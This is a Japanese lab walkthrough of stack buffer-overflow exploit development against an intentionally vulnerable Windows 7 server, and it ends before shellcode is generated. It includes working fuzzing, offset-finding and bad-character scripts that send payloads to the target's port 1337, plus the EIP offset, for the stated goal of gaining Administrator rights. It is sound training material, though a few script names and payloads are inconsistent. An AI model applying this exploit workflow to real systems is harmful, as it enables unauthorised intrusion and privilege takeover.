Buffer Over Flow
Windows7上で稼働する意図的にバッファオーバーフローの脆弱性をもたせたサーバーアプリからAdministrator権限を取る。
シチュエーション
- 世の中で公開されているWindows用のサーバーアプリがあると仮定(これは意図的に作ったもの)。
- サーバーアプリは実行ファイルとして公開されており、ソースコードは公開されていない。
- サーバーアプリをダウンロードしてきて、ローカルのWindows上でサーバーとして起動する。
- サーバーに接続するクライアントにはKaliを使用する。
- この状況でサーバーアプリの管理者権限を取得するためのシェルコードを作成する。

環境
- Windows7 Home 32bit(IP: 10.10.180.248)
- Immunity Debugger v1.85
- mona 2.0 r605
- python 2.7.1
- 脆弱性のあるサーバーアプリ
- Kali(IP: 10.6.65.109)
- python 3.11.2
今回何をしたいか?
シェルコードを実行させるために、EIPの書換と、スタックの書き換えを行ないます。
レジスター
- EIPに、メモリ内にESPを指すJMP命令が存在するアドレスを入れる。このアドレスはImunitty Debuggerを使用して後ほど探します。
- 「JMP ESP」命令とは、EIPをESPの値に設定する命令。
- コレが実行される事により、ESPの処理が実行される。
スタック
- EIPの内容を上記の様に書き換えると同時に、スタックを以下の状態に書き換える。
- NOP命令から始まるシェルコードが、スタックのTOP(要はESP)から入っているようにする。

手順
- サーバーアプリを起動してKali(クライアント)から疎通と動作の確認
- Immunity DebuggerのMonaの初期化
- Kaliから適当な長い文字列を送信してオーバーフローするオフセットの確認
- シェルコードを作成する際にサーバーのメモリ上で使用することが出来ないバイナリの整理
- 使用する事が出来ないバイナリを使用しないで、シェルコードを作成
- シェルコードを実行させるために、EIPにJMP ESPの命令のアドレスをセット
- NOPの設定
- Administrator権限をKali上から奪取
1. サーバーアプリを起動してKali(クライアント)から疎通と動作の確認
- Windows上でImmunity Debuggerを開らく。
- そこにサーバーアプリの実行ファイルをドラッグアンドドロップ。
- Immunity Debuggerでサーバーアプリを実行(再生ボタン)。
- そうするとコンソール上にメッセージが出て、Port 1337で入力を受け付けていることが解る。

次にKali側から、サーバーに接続して動作確認をして見る。
$ nc -vn 10.10.180.248 1337
(UNKNOWN) [10.10.180.248] 1337 (?) open
Welcome to OSCP Vulnerable Server! Enter HELP for help.
つながった。HELPコマンドを打てと言っている。
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT
このサーバで使えるコマンド一覧が出てきた。
ちなみに、Windows側でのサーバーアプリのコンソールにはこんな感じのメッセージが出ている。

レシーブしてますよってことですね。
Kali側でコマンドを打つ。
OVERFLOW1 test
OVERFLOW1 COMPLETE
OVERFLOW1 testと入力したらコンプリートしたよってメッセージが返ってきた。
何をしているアプリなのかはわからないが、クライアントからネットワーク越しに文字を受け付けているということが解ったので十分です。
2. Immunity DebuggerのMonaの初期化
サーバーアプリのバイナリ解析は、Immunity DebuggerとプラグインのMonaを使用していきます。ここで、Monaの作業フォルダの初期化をしておきましょう。
Immunity Debuggerを開き以下のコマンドを打ちます。
!mona config -set workingfolder c:\mona\%p

そうすると以下のように、作業ホルダが設定されます。

コレで初期化は完了です。
3. Kaliから適当な長い文字列を送信してオーバーフローするオフセットの確認
何文字送ったらオーバーフローするか確認をします。
fuzzer.py
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.180.248"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Windows側のImmunity Debuggerでサーバーアプリを再起動して、Kaliからスクリプトを実行します。
$ python3 fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzing crashed at 2000 bytes
1900bytesまではOKで、2000bytesでエラーが出ました。
Windows側はこんな感じ。

EIPが、41414141(AAAA)に書き換わっています。また、スタックの中身もいい感じで、AAAAになっています。
しかしこのままでは、どのAAAがEIPやスタックに入っているかが解かりません。サーバー送った文字列(AAAAの連続)の何文字目が、EIPであるかのオフセット値を調べていきます。
今回はAだけではなくてパターン化された文字を作成します。
msf-pattern_create.rb -l 2400
2400は、1つ前のfuzzer.pyを実行した際に、2000byteでオーバーフローしていました。その数よりも多めに設定をしています。
そうすると以下の文字列が生成されます。
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9
コレを使い以下のようなコード(offset.py)を作ります。
#!/usr/bin/env python3
import socket
ip = '10.10.180.248'
port = 1337
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy'
string = "OVERFLOW1 " + pattern
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
実行します。
$ python3 offset.py
Immunity Debuggerではレジスタが以下のようになりました。

「6F43396E」と入っていますね。bytesで送っているのでこれは16進数です。それぞれASCIIコードで確認をしています。
そうすると、以下のキャラクタになっています。
6F = o、43 = C、39 = 9、6E = n
「oC9n」ですね。しかしこれはリトルエイディアンでバイトが逆になっているので、「n9Co」と読みます。この文字列が先程生成した文字列の何処かにあるはずです。
目で探すのは面倒なので、以下のコマンドで省略します。
$ msf-pattern_offset -l 2400 -q 6F43396E
[*] Exact match at offset 1978
オフセット値が、「1978」であると一発で解ります。
では、実際にオフセットを使用して、ESIに狙った文字が入るかを試してみます。
以下に、「badchars.py」を用意しました。
#!/usr/bin/env python3
import socket
ip = "10.10.180.248"
port = 1337
string = "OVERFLOW1 " + 1978*"A" + 4*"B"
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
これは、サーバーに向けて、「OVERFLOW1 AAAAA・・(全部で1978回)・・AAAABBBB」と言う文字列を送ります。
実行。
python3 badchars.py
Immunity Debuggerでは以下のように表示されています。

意図したとおり、オフセットをAで埋め尽くして、EIPに、42424242(BBBB)が入りました。本来ここには、アプリが使用するメモリ上に存在するJMP ESP命令が存在するアドレスを入れますが、今はコレでいいです。
4. シェルコードを作成する際にサーバーのメモリ上で使用することが出来ないバイナリの整理
サーバー上で実行させるシェルコードのクラフトに入ります。
- シェルコードはバイナリです。
- しかしPCのメモリ上では使用できないバイトが有ります。例えば、\x00(NULLバイト)とか。
- この様な使用できないバイトをシェルコードに含めてしまうと、シェルコードとして機能しません。
- 今回対象のサーバーアプリではどの様なバイトが使用できないかを確認して、シェルコードを作る際に除外する必要が有ります。
ここでの作業の流れは、サーバーアプリのメモリ上で使用できないバイトを調べることです。手順はこんな感じです。
- Monaで、サーバーアプリ上で使用できるバイト一覧の表を作りMonaの作業フォルダに保存する。
- Kaliで、全バイトの組合せを作成してそれをサーバーに送る。
- Monaでスタックの中からKaliが送ったバイト列と、1で作成したサーバーアプリ上で使用できるバイト一覧を比較して、使えない文字を調査する。
ではまず、Monaを使用して使用できるバイト一覧を作成します。
以下のコマンドを実行します。
!mona bytearray -b "\x00"
\x00はNULLバイトです。NULLバイトはそもそも使用で来ないので、「-b」オプションを使用して一覧から省きます。

そうすると最初に作成したMonaの作業フォルダにテーブルが作成されます。今回の場合は、「 C:\mona」の中です。

bytearray.txtの中身はこんな感じ

とりあえず最初のバイト列の雛形は作成できました。次はKaliで同じ文字列を作成して、サーバーに送りつけてみます。
「create.py」を用意します。
#!/usr/bin/env python3
from __future__ import print_function
bad = "00".split()
print("badchars = ", end='')
for x in range(1, 256):
if "{:02x}".format(x) not in bad:
print("\\x" + "{:02x}".format(x), end='')
print("\n\nfor mona")
for byte in bad:
print("\\x{}".format(byte), end='')
print()
4行目のbadには、そもそも使えないと解っている「\x00」を省くように指定しています。
実行します。
$ python3 create2.py
badchars = \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
for mona
\x00
下に表示されている「for mona」は、使用できないバイトです。
このbadcharsを先程の「badchars.py」を開き貼り付けます。
#!/usr/bin/env python3
import socket
ip = '10.10.180.248'
port = 1337
badchar = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
string = "OVERFLOW1 " + 1978*"A" + 4*"B" + badchar
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
また、太文字の「 + badchar」も追加しています。
実行します。
$ python3 badchars.py
Immunity Debuggerは以下のようになりました。ESPの中身を「Fllow in Dump」で見てみます。

そうするとスタックのTOPから先程送ったバイト列が入っています。(\x01\x02\x03\x04\・・・・)

ではここでKaliから送ったバイト列が文字化け(違う文字になってしまってないか?)を確認します。以下のコマンドを打ちます。
!mona compare -f C:\mona\oscp\bytearray.bin -a esp
-fで指定したファイル(先ほど作成した初期値の一覧)と、-a で指定したアドレスの内容(今回はespと名前を指定)を比較して壊れてしまっている文字が無いかを確認します。

結果は、右下のように、「00 07 08 2e 2f a0 a1」が壊れたと言っています。上の表を見るとたしかに、Fileでは「07」となっているバイトがメモリ上では「0a」になっています。これは「07」は壊れてしまた=使えないと言う意味です。他のバイトも同様に確認ができます。
実際にメモリ上でもどうなっているか見てみます。

確かに「07」と入っているべきところに、「0A」となっています。おかしいです。
では、実際にシェルコードを作成する時にこの文字列を使用しないようにすればいいわけですが、ここで非常に重要なクセ(ポイント)があります。もう1度上のキャプチャのテーブルの方を見て下さい。
08も壊れている様に見えます。
しかし、これは1つ前の07のせいで壊れている可能性が高いということです。同様に「2f」と「a1」もセーフの可能性が有ります。
試しに、「08」「2f」「a1」はセーフ。悪い文字は1つ手前の「07」「2e」「a0」と仮定して、先程のcreate.pyから除外して新たに文字列を作成してみます。
create.pyを以下のように書き換えます。
#!/usr/bin/env python3
from __future__ import print_function
bad = "00 07 2e a0".split()
print("badchars = ", end='')
for x in range(1, 256):
if "{:02x}".format(x) not in bad:
print("\\x" + "{:02x}".format(x), end='')
print("\n\nfor mona")
for byte in bad:
print("\\x{}".format(byte), end='')
print()
実行します。
badchars = \x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
for mona
\x00\x07\x2e\xa0
for monaに出ている文字が除外した文字です。この文字列をコピーして、「badchars.py」のbadcharにセットします。
#!/usr/bin/env python3
import socket
ip = '10.10.180.248'
port = 1337
badchar = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
string = "OVERFLOW1 " + 1978*"A" + 4*"B" + badchar
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
先程の悪い文字は入ってないですね。
次に、Monaで作成した一覧からも以下のコマンドで悪い文字を除外して一覧を作り直します。
